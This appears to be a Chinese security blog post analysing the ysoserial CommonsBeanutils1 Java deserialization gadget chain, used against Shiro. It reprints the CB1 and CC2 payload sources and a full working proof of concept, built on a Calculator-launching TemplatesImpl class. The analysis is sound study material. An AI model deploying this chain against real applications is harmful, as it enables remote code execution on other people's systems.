日期:2023-11-14 作者:ICDAT 介绍:这篇文章主要是对 ysoserial CB1
反序列化利用链进行分析。
最近打了比较多的攻防演练,发现shiro
反序列化漏洞真是一把利器,虽然其早在2016
年就已经被爆出。而shiro
打的多了,就会发现其繁杂的利用链,而在其中,commons-beanutils
是绕不过的槛,毕竟shiro
自带。这次我们来分析一下CB1
利用链。
新建一个Maven
项目,引入commons-beanutils1.9.2
。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.1</version>
</dependency>
引入包的时候我们发现其除了commons-beanutils
包外,还有commons-collections:3.2.1
和commons-logging:1.1.1
包。
ysoserial
中的payload
如下:
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
我们查看CB1
的payload
,发现了很多之前分析CC
链的时候,熟悉的身影。都利用了TemplatesImpl
和PriorityQueue
类。
前面我们已经专门分析了TemplatesImpl
的利用,这么做个简单的复习。
TemplatesImpl
执行任意代码的逻辑如下:
首先是新建一个AbstractTranslet
类的子类,在构造方法或static
静态代码块调用计算器。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Test() throws IOException {
super();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
通过反射设置TemplatesImpl
的成员变量的值。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class RunTest {
public static void main(String[] args) throws Exception {
//获取字节码
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
TemplatesImpl templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
//执行newTransformer()方法触发弹窗
templates.newTransformer();
}
}
即调用TemplatesImpl
的newTransformer()
方法可以实现执行任意代码。
我们可以在CC2
中看见相关的利用,CC2
的payload
如下:
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}
}
对比一下,我们发现这个两个反序列化链很相似,但也存在不一样的地方。
PriorityQueue
也是一个旧知识了,我们在分析CC2
的时候就接触了,再复习一下。
PriorityQueue是一个有限队列,他可以由用户指定优先级,通过comparator来实现。
heapify()方法大致作用是找寻最后一个非叶节点,然后倒序进行下移的siftDown操作。
siftDownUsingComparator()方法是在存在比较器的情况下,使用比较器进行大小比较,然后进行下移的操作。
而其在CC2
的时候的调用链如下:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
而其在CC2
利用链的逻辑的点在于siftDownUsingComparator()
方法中存在调用compare
方法触发计算器。
关于PriorityQueue
的利用就这些了。
基于TemplatesImpl
和PriorityQueue
这两个老朋友的分析,我们发现PriorityQueue
是反序列利用的链的头,TemplatesImpl
是利用链的尾,我们还缺少一个类,来连接TemplatesImpl
和PriorityQueue
。
说完了相同的地方,我们来看看不一致的地方。
第一处:
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
我们发现CB1
利用链中传入PriorityQueue
类对象,触发比较的对象从TransformingComparator
类对象变成了BeanComparator
类对象。那么我们来看一下BeanComparator
类。
实现了Comparator
和Serializable
接口,来自commons.beanutils
库。
而我们上面提到了,CC2
利用链的逻辑的点在于siftDownUsingComparator()
方法中存在调用compare
方法触发计算器。
CB1
既然用到了PriorityQueue
,那么必然会触发BeanComparator
类的compare
方法。
查看其compare
方法。
我们发现,当property
属性不为空时,会调用PropertyUtils.getProperty
方法。
查看其方法。
PropertyUtils
来自commons.beanutils
库:
我们直接百度搜索PropertyUtils.getProperty
方法,看看其主要作用是什么。
PropertyUtils.getProperty的用法:
相对于getXXX方法,取得其值.
即该方法可以在事先不知道beans
的类型或者将要访问或修改的属性名时,获取其属性值。
举例说明一下:
存在一个Person
类,该类存在属性值name
,且存在getName
方法。
public class Person {
private String name;
public Person(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
那么我们可以通过PropertyUtils.getProperty()
方法获取Person
类对象name
的属性值。
import org.apache.commons.beanutils.PropertyUtils;
public class TestP {
public static void main(String[] args) throws Exception {
Person libai = new Person("libai");
System.out.println(PropertyUtils.getProperty(libai, "name"));
}
}
成功获取其属性值。
PropertyUtils.getProperty()
虽然可以获取某个类对象的属性值,但是在反序列化的利用链中存在的作用是什么,我们还没有明白。
而我们需要往下看。
参考CC2
的payload
,在PriorityQueue
中传入TransformingComparator(transformer)
,然后会最终会调用TemplatesImpl.newTransformer()
来执行代码。
CC2
:
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
而CB1
利用链中触发的关键是其反射修改BeanComparator
的property
属性的地方。
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
修改的是outputProperties
属性,那么最终调用的方法是TemplatesImpl.getOutputProperties()
方法。
而我们查看TemplatesImpl.getOutputProperties()
方法,我们发现其调用了TemplatesImpl.newTransformer()
。
那么到这里,整个逻辑就走通了,其整个的利用链逻辑大致如下:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
compare()
BeanComparator.compare()
PropertyUtils.getProperty()
TemplatesImpl.newTransformer()
那么我们来编写POC
:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
Object templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
BeanComparator comparator = new BeanComparator();
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = comparator.getClass().getDeclaredField("property");
iMethodName.setAccessible(true);
iMethodName.set(comparator,"outputProperties");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这篇文章同之前的文章逻辑不一样,因为我们在分析了CC1
-CC7
的知识储备下,就很容易通过类比的思想来理解某个类和方法在反序列化利用链中起到的作用。